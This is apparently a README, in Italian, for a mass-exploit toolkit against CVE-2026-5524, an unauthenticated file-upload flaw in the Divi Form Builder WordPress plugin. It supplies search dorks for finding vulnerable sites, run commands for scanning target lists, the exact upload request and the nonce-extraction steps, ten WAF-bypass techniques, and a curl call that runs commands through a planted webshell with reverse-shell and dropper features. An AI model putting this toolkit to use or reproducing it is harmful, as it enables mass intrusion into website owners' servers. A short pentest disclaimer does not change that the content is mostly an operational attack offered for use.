
Toolkit di exploit di massa per CVE-2026-5524, un upload di file non autenticato RCE in Divi Form Builder. Caratteristiche: scansione multi-thread, tecniche di bypass WAF, implementazione di webshell personalizzata ed esecuzione interattiva di comandi.
| Campo | Valore |
|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critico) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Versione interessata | Divi Form Builder <= 5.1.8 |
| Versione corretta | 5.1.9 |
| Tipo | Caricamento file non autenticato a RCE |
| Ricercatore | 0xd4rk5id3 - EnvoraSec |
Il plugin Divi Form Builder per WordPress contiene una vulnerabilità di caricamento file arbitrario non autenticato. Il gestore do_image_upload() passa direttamente il parametro POST acceptFileTypes controllato dall'utente in un'espressione regolare utilizzata per convalidare le estensioni dei file. Fornendo un valore come phtml, un attaccante può bypassare la regola .htaccess del plugin che blocca solo l'estensione .php e caricare una webshell con un'estensione eseguibile da PHP (.phtml, .phar, .php5, .php7 e simili).
Una volta che il file finisce in /wp-content/uploads/de_fb_uploads/, Apache lo esegue come PHP, concedendo all'attaccante l'esecuzione di codice in remoto come utente del server web.
Il problema è risolto in Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Requisiti: Python 3.8 o successivo su Linux, macOS o WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Per target dietro un WAF (NinjaFirewall, Wordfence, ModSecurity) o con configurazione Apache o nginx irrobustita.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Dopo un caricamento riuscito, lo script può eseguire immediatamente un comando o avviare una shell interattiva.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Flag | Descrizione |
|---|---|
-u URL | URL singolo target |
-l FILE | File contenente la lista di target, un URL per riga |
-t N | Numero di thread concorrenti (default 10) |
--timeout N | Timeout della richiesta in secondi (default 15) |
-o FILE | Salva i risultati in un file di output JSONL |
--proxy URL | Instrada il traffico attraverso un proxy HTTP |
--nonce HASH | Usa un nonce fornito manualmente, salta il rilevamento automatico |
--ext EXT | Forza una singola estensione invece dell'elenco completo di bypass |
--shell | Avvia una shell RCE interattiva in caso di successo (solo singolo target) |
--cmd CMD | Esegue un comando sul target poi esce |
--shell-file FILE | Carica un payload shell personalizzato invece di quello integrato |
--no-verify | Salta la verifica RCE post-caricamento |
--strict-verify | Conferma che l'URL della shell restituisca HTTP 200 per filtrare falsi positivi |
--user-ini | Carica un dropper .user.ini per ambienti PHP-FPM |
--htaccess | Carica un riattivatore .htaccess per ambienti Apache |
--aggressive | Abilita ogni tecnica di bypass disponibile |
--null-byte | Include tentativi di byte nullo e doppia estensione |
--path-traversal | Prova a caricare nelle sottodirectory /uploads/YYYY/MM/ |
--debug | Stampa le risposte HTTP grezze per la diagnosi |
Il gestore vulnerabile costruisce una regex a partire dall'input utente senza sanificazione.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Inviando acceptFileTypes=phtml, la regex risultante /\.(phtml)$/i corrisponde a nomi di file che terminano con .phtml, anche se il file .htaccess del plugin blocca solo l'estensione .php. Apache esegue quindi il file caricato come PHP, producendo esecuzione di codice in remoto.
Scansiona una pagina che incorpora un modulo Divi Form Builder (/, /contact, /quote, ecc.). Aggiungi un parametro ?nocache=<random> per aggirare Varnish, WP Rocket e altre cache di pagina che altrimenti servirebbero un nonce obsoleto.
Estrai il valore fb_nonce dall'oggetto JavaScript localizzato:
de_fb_obj = {"fb_nonce":"<10 caratteri esadecimali>", ...}
Invia un POST multipart a /wp-admin/admin-ajax.php con:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Leggi l'URL del file dalla risposta JSON:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Richiedi la shell con un comando codificato in base64:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Tecnica | Target |
|---|---|---|
| 1 | Estensioni PHP alternative .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Regola .htaccess del plugin che blocca solo .php |
| 2 | Variazione maiuscole/minuscole .PHTML, .PHP5, .PhTmL | Firme WAF sensibili alle maiuscole (NinjaFirewall) |
| 3 | Doppia estensione .phtml.jpg, .php.jpg | Stranezze di content-negotiation di Apache mod_mime |
| 4 | Byte nullo .php%00.jpg, .phtml%00.txt | Versioni PHP vecchie (inferiori a 5.3.4) e alcuni parser |
| 5 | Spazio o punto finale .php , .php. | Windows IIS e versioni Apache più vecchie |
| 6 | Spoofing del Content-Type application/octet-stream | WAF che si basano sull'header multipart Content-Type |
| 7 | Carica un vero .htaccess che riabilita PHP per .gif, .png, .jpg, .txt, .html, ecc. | Server Apache con AllowOverride All |
| 8 | Carica un .user.ini con auto_prepend_file | Ambienti PHP-FPM |
| 9 | Iniezione del nome del file attraverso manipolazione del boundary multipart | Proxy e WAF che ri-analizzano il corpo della richiesta |
| 10 | Path traversal ../shell.phtml nel nome del file | Restrizioni di directory del plugin |
Lo script prova ogni tecnica in ordine di priorità e, quando è impostato --aggressive, tenta ciascuna anche dopo che il primo upload ha riportato successo.
| Componente | Tecnologia |
|---|---|
| Linguaggio | Python 3.8+ |
| Client HTTP | requests |
| Gestione TLS | urllib3 in modalità non sicura per certificati autofirmati |
| Concorrenza | concurrent.futures.ThreadPoolExecutor per scansione di massa |
| Parsing | re per estrazione nonce, json per gestione risposte |
| Codifica | base64 per il parametro del comando webshell |
| CLI | argparse con 19 flag configurabili |
| Componente | Tecnologia |
|---|---|
| Linguaggio | PHP 7.0+ |
| Funzioni di esecuzione | system(), shell_exec(), proc_open(), passthru(), popen() |
| Interfaccia | Modulo HTML semplice, nessun framework JavaScript |
| Funzionalità | Browser file, esecuzione comandi, accesso al database, reverse shell, autoinstallazione di .htaccess e .user.ini |
| Dimensione | Circa 16 KB |
| Livelli di bypass | Sei percorsi di esecuzione indipendenti più payload codificati |
cve-2026-5524/
|-- CVE-2026-5524.py Script di sfruttamento principale
|-- bypass.phtml Webshell PHP multistrato da 16 KB
|-- htaccess_enable.phtml Dropper che scrive un .htaccess riabilitante
|-- user_ini.phtml Dropper che scrive un .user.ini per PHP-FPM
|-- targets.txt Lista di esempio di target
|-- pwned.jsonl Generato dal flag -o durante scansioni di massa
|-- requirements.txt Dipendenze Python
`-- README.md Questo documento
+--------------------------------------------------+
| 1. Ricognizione |
| GET /?nocache=<random> |
| Analizza fb_nonce da de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Crea exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Il server accetta e archivia il file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Esecuzione |
| GET shell.phtml?x=base64(comando) |
| Esecuzione di codice in remoto ottenuta |
+--------------------------------------------------+
Questo strumento è fornito a scopo educativo e per l'uso durante test di penetrazione autorizzati. Esempi di utilizzo accettabile includono:
L'uso non autorizzato contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di autorizzazione scritta è illegale in praticamente ogni giurisdizione ed è severamente vietato. L'autore non approva né si assume responsabilità per l'uso improprio di questo codice.
J'ai la permission et je suis autorisé à effectuer ce pentest. (Ho il permesso e sono autorizzato a eseguire questo pentest.)
Leggi potenzialmente rilevanti includono la UU ITE dell'Indonesia, il Computer Fraud and Abuse Act degli Stati Uniti, la Convenzione sul cybercrime dell'Unione Europea e legislazioni equivalenti altrove. In caso di dubbio, ottieni prima un'autorizzazione scritta.
Solo per uso educativo. Vedi la sezione di esclusione di responsabilità per i termini completi di utilizzo.